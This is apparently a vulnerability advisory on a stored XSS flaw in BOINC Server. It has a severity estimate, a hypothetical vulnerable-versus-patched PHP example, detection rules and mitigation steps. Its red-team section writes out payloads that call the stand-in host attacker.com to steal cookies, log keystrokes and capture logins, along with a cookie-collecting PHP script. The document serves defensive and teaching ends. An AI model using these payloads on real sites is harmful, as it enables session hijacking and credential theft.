CVE-2025-0667
Executive Summary
CVE-2025-0667 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the BOINC Server application, specifically versions through 1.4.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the context of other users' browsers. This can lead to session hijacking, data theft, and further compromise of the BOINC infrastructure. As of the latest data, no official patch is available, and the vulnerability remains unpatched. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant for organizations using BOINC Server for distributed computing projects.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
BOINC (Berkeley Open Infrastructure for Network Computing) is a widely used open-source platform for volunteer computing. The vulnerability is in the server component, which is typically deployed as a PHP-based web application. Organizations should verify the integrity of their BOINC Server installations and monitor for any unofficial patches or updates from the BOINC project.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, but based on the vulnerability type (Stored XSS), a more realistic assessment would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – attacker needs a user account with submission privileges
- User Interaction (UI): Required (R) – victim must view the malicious page
- Scope (S): Changed (C) – impacts resources beyond the vulnerable component
- Confidentiality (C): High (H) – potential for data theft
- Integrity (I): High (H) – stored scripts can modify content
- Availability (A): Low (L) – limited impact on availability
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.0 (High)
Threat Level: High – Stored XSS can lead to persistent compromise of user sessions and data.
Deep Dive & Mechanics
The vulnerability exists in the BOINC Server web interface, which is used by project administrators and volunteers to manage tasks, view results, and interact with the platform. The application fails to properly sanitize user input before storing it in the database and later rendering it in web pages. This allows an attacker to inject arbitrary HTML and JavaScript code.
Attack Flow:
- Prerequisite: The attacker must have a user account with the ability to submit data that is stored and displayed to other users (e.g., project descriptions, task notes, or forum posts).
- Injection: The attacker submits a payload such as
<script>alert('XSS')</script>in a vulnerable input field. - Storage: The payload is stored in the BOINC database without sanitization.
- Execution: When another user (e.g., an administrator or another volunteer) views the page containing the stored data, the script executes in their browser.
- Impact: The attacker can steal session cookies, redirect users to malicious sites, perform actions on behalf of the victim, or deface the web interface.
Root Cause: The application uses user input directly in web page generation without proper encoding or validation. Functions like echo $_POST['description']; or similar patterns are likely present in the codebase.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.
Vulnerable Code (PHP):
<?php
// Vulnerable: Direct output without sanitization
$description = $_POST['description'];
echo "<div class='description'>$description</div>";
?>
Patched Code (Hypothetical):
<?php
// Patched: Use htmlspecialchars to encode output
$description = $_POST['description'];
echo "<div class='description'>" . htmlspecialchars($description, ENT_QUOTES, 'UTF-8') . "</div>";
?>
Key Differences:
- The patched version uses
htmlspecialchars()to convert special characters (e.g.,<,>,&,",') to their HTML entities, preventing script execution. - Input validation should also be applied on the server side to reject or sanitize malicious payloads before storage.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- BOINC Server version 1.4.7 (or earlier) installed on a Linux VM (e.g., Ubuntu 20.04).
- Apache/Nginx with PHP 7.x.
- MySQL/MariaDB database.
- Attacker machine with a modern browser and developer tools.
Exploitation Steps:
- Create an account on the BOINC Server with submission privileges (e.g., as a volunteer).
- Identify a vulnerable input field (e.g., project description, task notes, or user profile fields).
- Craft a payload to steal cookies:
<script> document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script> - Submit the payload via the web form.
- Wait for an administrator or another user to view the page containing the payload.
- Capture the cookie on the attacker's server (e.g., using a simple PHP script
steal.php):<?php $cookie = $_GET['cookie']; file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND); ?> - Use the stolen cookie to hijack the victim's session.
Advanced Payloads:
- Keylogger:
<script>document.onkeypress=function(e){new Image().src='http://attacker.com/log.php?k='+e.key;}</script> - Phishing:
<script>document.getElementById('login-form').innerHTML='<form action="http://attacker.com/steal.php" method="POST"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>';</script>
Blue Team (Defensive)
Detection & Response:
- Monitor web application logs for suspicious input patterns (e.g.,
<script>,onerror=,javascript:). - Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.
- Use Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Conduct code review to identify and fix all instances of unsanitized output.
- Apply input validation on both client and server sides (e.g., whitelist allowed characters).
- Use HTTP-only cookies to prevent JavaScript access to session cookies.
Lab Setup for Blue Team:
- Deploy a BOINC Server instance with logging enabled.
- Use a SIEM (e.g., Splunk, ELK) to ingest web server logs.
- Create alerts for XSS patterns (e.g.,
script,onerror,alert).
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
GET /steal.php?cookie=...). - Unusual referrer headers from the BOINC Server to external IPs.
Host IOCs:
- Presence of unexpected JavaScript code in the BOINC database (e.g., in
descriptionornotesfields). - Modified web pages with injected
<script>tags. - Suspicious entries in web server access logs (e.g.,
POSTrequests with XSS payloads).
File IOCs:
- Log files containing patterns like
%3Cscript%3E(URL-encoded<script>). - Database dumps showing HTML/JavaScript in text fields.
Detection Engineering
YARA Rule
rule CVE_2025_0667_BOINC_XSS {
meta:
description = "Detects stored XSS payloads in BOINC Server database exports or logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0667"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
$xss4 = /onload\s*=\s*["']?[^"'\s>]+/is
condition:
any of ($xss*)
}
Sigma Rule
title: BOINC Server Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attacks against BOINC Server
author: Valters IT
date: 2025-04-10
tags:
- attack.t1190
- cve.2025.0667
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in project descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-0667 BOINC Server Stored XSS Payload Outbound";
flow:to_server,established;
content:"GET"; http_method;
content:"/steal.php?cookie="; http_uri;
classtype:web-application-attack;
sid:1000001;
rev:1;
reference:cve,2025-0667;
)
Remediation & Mitigation
Immediate Actions:
- Disable user-submitted content that is displayed to other users (e.g., project descriptions, notes) until a patch is available.
- Apply input sanitization using a library like HTML Purifier or PHP's
htmlspecialchars(). - Implement a WAF with XSS rules (e.g., ModSecurity with OWASP CRS).
- Enforce CSP headers to mitigate script execution.
Long-term Fix:
- Monitor the BOINC project for an official patch or upgrade to a patched version (if released).
- Conduct a full security audit of the BOINC Server codebase.
- Consider migrating to a more secure platform if BOINC is no longer maintained.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter out XSS patterns before they reach the application.
Valters IT